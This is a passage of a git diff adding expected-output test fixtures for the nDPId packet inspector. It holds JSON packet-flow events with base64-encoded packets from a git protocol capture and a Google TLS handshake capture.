+00418{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":278031,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PJcOZtCOnJcm0ghCCABFCAA0J+9AAC8GdikFmecVwKgATSTKu3dqwE5WfoYLioAQAHLGLwAAAQEICiuNabkBp0gh"} +00690{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":321879,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"PJcOZtCOnJcm0ghCCABFCAD9J\/BAAC8GdV8FmecVwKgATSTKu3dqwE5WfoYLioAYAHIZMQAAAQEICiuNacUBp0ghMDBjOTM0ODUzNGM3NjBkMmY1NmVjZjkzZjhkNjdiODRjNWYwYWJhMDc3YzEgSEVBRABtdWx0aV9hY2sgdGhpbi1wYWNrIHNpZGUtYmFuZCBzaWRlLWJhbmQtNjRrIG9mcy1kZWx0YSBzaGFsbG93IG5vLXByb2dyZXNzIGluY2x1ZGUtdGFnIG11bHRpX2Fja19kZXRhaWxlZCBzeW1yZWY9SEVBRDpyZWZzL2hlYWRzL21hc3RlciBhZ2VudD1naXQvMS45LjEK"} +00418{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":321931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"nJcm0ghCPJcOZtCOCABFAAA0Q1lAAEAGScfAqABNBZnnFbt3JMp+hguKasBPH4AQAB7FlgAAAQEICgGnSDkrjWnF"} +01618{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":376618,"pkt_caplen":962,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":962,"pkt_l4_len":928,"pkt":"PJcOZtCOnJcm0ghCCABFCAO0J\/FAAC8GcqcFmecVwKgATSTKu3dqwE8ffoYLioAYAHJqRwAAAQEICiuNadEBp0g5MDAzZjM0ODUzNGM3NjBkMmY1NmVjZjkzZjhkNjdiODRjNWYwYWJhMDc3YzEgcmVmcy9oZWFkcy9tYXN0ZXIKMDA0NWMxOWFiZjA2NWIzOGQ3NTk0MmRhZTM1ZDlhZTM2MjFiNjgyNzJhODUgcmVmcy9oZWFkcy9wcmlzdGluZS10YXIKMDA0MTI4MTUzMDc3NzAwNTMxYmJiNWJmYTZiNDE1NjVjOTE3YThkZjA3ZGMgcmVmcy9oZWFkcy91cHN0cmVhbQowMDQ0N2NkNGU1OTdlNWUwOGUxMTRmZDZhZGVmYjc0ZGU0NzQ2ZDMwOWM3NyByZWZzL3RhZ3MvZGViaWFuLzAuNy0xCjAwNDc3OTc2MDNmNjEzYzAwMGUwOTRlMTA4ZjZkZjAwOThiYzMwZTIwNmEwIHJlZnMvdGFncy9kZWJpYW4vMC43LTFee30KMDA0NDY5MDZmNjhjNjk2OWY1NWFlM2QwOTBlMGY2YjlmMGY5ZDhiNjNmYWEgcmVmcy90YWdzL2RlYmlhbi8wLjctMgowMDQ3MDE4M2RlYmU2NDNiMjUxNGQ0MTdlNGJiMzNlN2ZlNGZjYTVjZjZmOCByZWZzL3RhZ3MvZGViaWFuLzAuNy0yXnt9CjAwNDQ3ZmJiOTNlM2Q2MTFlYzg1OGM0NmVmMWRjNGUxY2I5OTViMWY4ODdkIHJlZnMvdGFncy9kZWJpYW4vMC43LTMKMDA0N2UxMWE1MTc3M2RiZWFlOWU4NDBmNmI1ZThiNGM3ZGE4ZDFlMTNmZDAgcmVmcy90YWdzL2RlYmlhbi8wLjctM157fQowMDQ0ZTMyNzI4MGUzZmEyOWNlMTQwZTljZjE4OGVmNGZmYjNhMWU2YzUzZiByZWZzL3RhZ3MvZGViaWFuLzAuNy00CjAwNDczNDg1MzRjNzYwZDJmNTZlY2Y5M2Y4ZDY3Yjg0YzVmMGFiYTA3N2MxIHJlZnMvdGFncy9kZWJpYW4vMC43LTRee30KMDA0NGUxYzU5MDY5NWIxZGRlMzJmMTE2MmJjN2Q0NTQwOTY2ZjRjZDQ2ZDEgcmVmcy90YWdzL3Vwc3RyZWFtLzAuNwowMDQ3MjgxNTMwNzc3MDA1MzFiYmI1YmZhNmI0MTU2NWM5MTdhOGRmMDdkYyByZWZzL3RhZ3MvdXBzdHJlYW0vMC43Xnt9CjAwMDA="} +00418{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":376661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"nJcm0ghCPJcOZtCOCABFAAA0Q1pAAEAGScbAqABNBZnnFbt3JMp+hguKasBSn4AQACDB+gAAAQEICgGnSEcrjWnR"} +01127{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":377198,"pkt_caplen":593,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":593,"pkt_l4_len":559,"pkt":"nJcm0ghCPJcOZtCOCABFAAJDQ1tAAEAGR7bAqABNBZnnFbt3JMp+hguKasBSn4AYACAr4gAAAQEICgGnSEcrjWnRMDA3YndhbnQgMzQ4NTM0Yzc2MGQyZjU2ZWNmOTNmOGQ2N2I4NGM1ZjBhYmEwNzdjMSBtdWx0aV9hY2tfZGV0YWlsZWQgc2lkZS1iYW5kLTY0ayB0aGluLXBhY2sgb2ZzLWRlbHRhIGFnZW50PWdpdC8yLjguMC5yYzMKMDAzMndhbnQgMzQ4NTM0Yzc2MGQyZjU2ZWNmOTNmOGQ2N2I4NGM1ZjBhYmEwNzdjMQowMDMyd2FudCBjMTlhYmYwNjViMzhkNzU5NDJkYWUzNWQ5YWUzNjIxYjY4MjcyYTg1CjAwMzJ3YW50IDI4MTUzMDc3NzAwNTMxYmJiNWJmYTZiNDE1NjVjOTE3YThkZjA3ZGMKMDAzMndhbnQgN2NkNGU1OTdlNWUwOGUxMTRmZDZhZGVmYjc0ZGU0NzQ2ZDMwOWM3NwowMDMyd2FudCA2OTA2ZjY4YzY5NjlmNTVhZTNkMDkwZTBmNmI5ZjBmOWQ4YjYzZmFhCjAwMzJ3YW50IDdmYmI5M2UzZDYxMWVjODU4YzQ2ZWYxZGM0ZTFjYjk5NWIxZjg4N2QKMDAzMndhbnQgZTMyNzI4MGUzZmEyOWNlMTQwZTljZjE4OGVmNGZmYjNhMWU2YzUzZgowMDMyd2FudCBlMWM1OTA2OTViMWRkZTMyZjExNjJiYzdkNDU0MDk2NmY0Y2Q0NmQxCjAwMDA="} +00422{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":426073,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PJcOZtCOnJcm0ghCCABFCAA0J\/JAAC8GdiYFmecVwKgATSTKu3dqwFKffoYNmYAQAHq\/gwAAAQEICiuNad8Bp0hH"} +00432{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":426098,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"nJcm0ghCPJcOZtCOCABFAAA9Q1xAAEAGSbvAqABNBZnnFbt3JMp+hg2ZasBSn4AYACCCgQAAAQEICgGnSFQrjWnfMDAwOWRvbmUK"} +00422{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":471592,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PJcOZtCOnJcm0ghCCABFCAA0J\/NAAC8GdiUFmecVwKgATSTKu3dqwFKffoYNooAQAHq\/YgAAAQEICiuNaeoBp0hU"} +00433{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":471621,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PJcOZtCOnJcm0ghCCABFCAA8J\/RAAC8GdhwFmecVwKgATSTKu3dqwFKffoYNooAYAHrFngAAAQEICiuNaeoBp0hUMDAwOE5BSwo="} +02347{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":489457,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"PJcOZtCOnJcm0ghCCABFCAXUJ\/VAAC8GcIMFmecVwKgATSTKu3dqwFKnfoYNooAQAHrgqAAAAQEICiuNae4Bp0hUMDAyMgJDb3VudGluZyBvYmplY3RzOiAxMjYsIGRvbmUuCjAwMjkCQ29tcHJlc3Npbmcgb2JqZWN0czogICAxJSAoMS81NykgICANMDAyOQJDb21wcmVzc2luZyBvYmplY3RzOiAgIDMlICgyLzU3KSAgIA0wMDI5AkNvbXByZXNzaW5nIG9iamVjdHM6ICAgNSUgKDMvNTcpICAgDTAwMjkCQ29tcHJlc3Npbmcgb2JqZWN0czogICA3JSAoNC81NykgICANMDAyOQJDb21wcmVzc2luZyBvYmplY3RzOiAgIDglICg1LzU3KSAgIA0wMDI5AkNvbXByZXNzaW5nIG9iamVjdHM6ICAxMCUgKDYvNTcpICAgDTAwMjkCQ29tcHJlc3Npbmcgb2JqZWN0czogIDEyJSAoNy81NykgICANMDAyOQJDb21wcmVzc2luZyBvYmplY3RzOiAgMTQlICg4LzU3KSAgIA0wMDI5AkNvbXByZXNzaW5nIG9iamVjdHM6ICAxNSUgKDkvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDE3JSAoMTAvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDE5JSAoMTEvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDIxJSAoMTIvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDIyJSAoMTMvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDI0JSAoMTQvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDI2JSAoMTUvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDI4JSAoMTYvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDI5JSAoMTcvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDMxJSAoMTgvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDMzJSAoMTkvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDM1JSAoMjAvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDM2JSAoMjEvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDM4JSAoMjIvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQwJSAoMjMvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQyJSAoMjQvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQzJSAoMjUvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQ1JSAoMjYvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQ3JSAoMjcvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDQ5JSAoMjgvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDUwJSAoMjkvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDUyJSAoMzAvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDU0JSAoMzEvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDU2JSAoMzIvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDU3JSAoMzMvNTcpICAgDTAwMmECQ29tcHJlc3Npbmcgb2JqZWN0czogIDU5"} diff --git a/test/results/google_ssl.pcap.out b/test/results/google_ssl.pcap.out new file mode 100644 index 000000000..fe2c9276e --- /dev/null +++ b/test/results/google_ssl.pcap.out @@ -0,0 +1,16 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"google_ssl.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1434443394683,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.31.3.224","dst_ip":"216.58.212.100","src_port":42835,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443394,"pkt_ts_usec":683939,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OTbSogMbKAJ6fCABFAAAsBqJAAEAG14usHwPg2DrUZKdTAbt6Z3LqAAAAAGACFtCOVwAAAgQFtA=="} +00417{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443394,"pkt_ts_usec":717671,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"gMbKAJ6fAA6OTbSoCABFAAAseLYAADMGsnfYOtRkrB8D4AG7p1PuIxETemdy62ASp5T+aAAAAgQFlgAA"} +00409{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443394,"pkt_ts_usec":851093,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OTbSogMbKAJ6fCABFAAAoBqNAAEAG146sHwPg2DrUZKdTAbt6Z3Lr7iMRFFAQFtCmzAAA"} +00580{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443394,"pkt_ts_usec":995795,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AA6OTbSogMbKAJ6fCABFAACmBqRAAEAG1w+sHwPg2DrUZKdTAbt6Z3Lr7iMRFFAYFtBdNwAAgHwBAwEAYwAAABAAADkAADgAADUAABYAABMAAAoHAMAAADMAADIAAC8DAIAAAGYAAAUAAAQBAIAIAIAAAGMAAGIAAGEAABUAABIAAAkGAEAAAGUAAGQAAGAAABQAABEAAAgAAAYEAIAAAAMCAIBEdnQFirnJpau7BnAsxs8f"} +00416{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443395,"pkt_ts_usec":30206,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"gMbKAJ6fAA6OTbSoCABFAAAoeX0AADMGsbTYOtRkrB8D4AG7p1PuIxEUemdzaVAQp5QVigAAAAAAAAAA"} +00825{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443395,"pkt_ts_usec":96760,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"gMbKAJ6fAA6OTbSoCABFAAFYeYAAADMGsIHYOtRkrB8D4AG7p1PuIxxAemdzaVAYp5RnXgAAAf8EBAMCAQYwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9zZWN1cmVjYS5jcmwwTgYDVR0gBEcwRTBDBgRVHSAAMDswOQYIKwYBBQUHAgEWLWh0dHBzOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvcmVwb3NpdG9yeTANBgkqhkiG9w0BAQUFAAOBgQB24RJuTksWEoYwBrKBCM\/wCMfHcX5m7sLt1Dsf\/\/DwyE7WQziwuTB9GNBVg6JqyzYRnOhIZqNtf7gT1Ef+i1pcc\/yu2RsyGTirlzQUqpbS66McFAhJtrvlke+DNusdVm\/K2rxzY5Dkf3s+Iss9B+1fOHSc4wNQTqGvmO5h8oQ\/EhYDAQAEDgAAAA=="} +00409{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443395,"pkt_ts_usec":420093,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OTbSogMbKAJ6fCABFAAAoBqVAAEAG14ysHwPg2DrUZKdTAbt6Z3Np7iMRFFAQFtCmTgAA"} +02341{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443395,"pkt_ts_usec":420117,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"gMbKAJ6fAA6OTbSoCABFAAW+eX4AADMGrB3YOtRkrB8D4AG7p1PuIxEUemdzaVAQp5Q7hAAAFgMBAEoCAABGAwFVf96DS8v7axWkCrmsJo\/\/uEXNkc1hvp5gwT+LzwW1qiC4kjARfcAosRfvoCchSGFvcHA2ruAUFLwJq9CsLrL+9AAFABYDAQv\/CwAL+wAL+AAEejCCBHYwggNeoAMCAQICCAdUJ34\/8zOCMA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE1MDYwMzA5MjYwMVoXDTE1MDkwMTAwMDAwMFowaDELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxFzAVBgNVBAMMDnd3dy5nb29nbGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoa7ibuL5dSPsfWKc3o79DbA2HwAoWmjh+I44799yIbmJCbIfMsowigY+iNs9nggcHLc6E1nL+961MBiPp8nr7ZLAFnpiG1rLLqwn8IPbLv\/EyIOIutU+0e0Xn561c2zXE4lbA+98HCLXSXSR0nn\/a45iEnhFDlZfAX9IyfRXCe3zgL2dRSOUAQimamk4asP2LnrHoWSVYyv\/12GSVzSc8d7vhLI3LapP\/qsjoj5AFnaa\/4ZCHzuvveJX1qjU7tbZ7HD17YVLRSSNIOTtyGN4kCmQK3z\/WeApyXsAUeGGVoeTjeSpfH96s\/zGZJbsXKT1zYvNQuVSBnyEF9uIoiEooQIDAQABo4IBQTCCAT0wHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBkGA1UdEQQSMBCCDnd3dy5nb29nbGUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQUG8SMKaYgAIGWq0vVz4Dx4W7q0CQwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAXDTcnX7ZhqoP69sLS67xiTBvX5CwExZdEmlBQD83W1KzhfkxJrm\/EwPESVXGQu6q6chziG4vdhZLtSBU82zKFonMU8a4mCUcs+4Hp2ymjY1GP9nohkuNc7lQfiwzYOZPVASqz7SbSPIN5soP2qujfnt+PEQHw8K6bf3GCcNaJYtUK\/d1nap2+7BvI5NX9lvExSv9A9v+ZkLK\/EhMQ0fby3oQupH+Lk5XlkVS7yhRXAj3f5oZ5Q+805eqe+6v\/u5KTiYhGIoAYr9GGse+vTBuq+mLhD45QRhDilITcRm5i0lUa5n3nYN0aWEBaGZjdjC\/GADV9yVsBO5Q6VkgkVaNMwAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSA="} +00409{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443396,"pkt_ts_usec":415004,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OTbSogMbKAJ6fCABFAAAoBqZAAEAG14usHwPg2DrUZKdTAbt6Z3Np7iMWqlAQIYSWBAAA"} +02343{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443396,"pkt_ts_usec":415026,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"gMbKAJ6fAA6OTbSoCABFAAW+eX8AADMGrBzYOtRkrB8D4AG7p1PuIxaqemdzaVAQp5RWwgAASW50ZXJuZXQgQXV0aG9yaXR5IEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCoEd1zYUJE6BqOC4NhQSLyJP\/EZcBqIRn7gj8Xxic4h7lr+YQ23MkSJoHQLU09VpM6CYpXu61lfxuEFgBLEXpQ\/vFtIOPRT9yTm+5HpFcTP9FMN9Er8n1Tefb6ga2+HwNBQHygwA0DaCHNRbH\/\/OjynNwaOvUsRBOt9JN7m+fwxcfuU1WDzLkqvQtLL6sRqGrLMU90VS4sfyBlhH82dqD5jK4Q1aWWEyBnFRiL4U5W+44BKEMYq7LqXIBHHOZkQBKDwYXqVJYxOUnXitu0IyhT8ziJqs07PRgOXlwN+wLHee69FM8+6PnG33vQlJcINNYmdnfsOEXmJHjfFr45yaQIDAQABo4HnMIHkMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBRK3QYWG7z2aLV29YG2u2IaulqBLzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMA0GCSqGSIb3DQEBBQUAA4IBAQAnjM\/pxzu+wG\/oloT7nFxdkOR324syYJtl2IUmtbqfHt5kTh\/GyCBbCZ+rqeAJNEWiZSU3PX9abyDM+frxHY8QDAI6xMkBdpa+m\/kV2DnRxQNHdriKjDHWYNXkj9v6PMbVmCj4HI8XkTTLy1J60fs6IOThhrHYGA++1odkjcUKJUJR77I4uOAd0OH85vSvRrrvwL\/FtAX1lHUM\/qK+Arrqhlv5NbNm9cWNhaEaI3caGRdUE2CfC+G0nCgq+a4CNG0lk5yCqBd78YWw0w9Y4fux\/pyho+j9yT\/013HcvYykGeAhIyNVE4+kFgIJfrmv7ttTZL1xL7k5zjC3tLxU4EcHAAOBMIIDfTCCAuagAwIBAgIDErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDIwNTIxMDQwMDAwWhcNMTgwODIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdqfnGk5sRgprDvgOSJKA+eJdbtg\/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+VcT4wt\/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo4HwMIHtMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwE="} +00411{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"google_ssl.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434443397,"pkt_ts_usec":410017,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OTbSogMbKAJ6fCABFAAAoBqdAAEAG14qsHwPg2DrUZKdTAbt6Z3Np7iMdcFAQLLCEEgAA"} 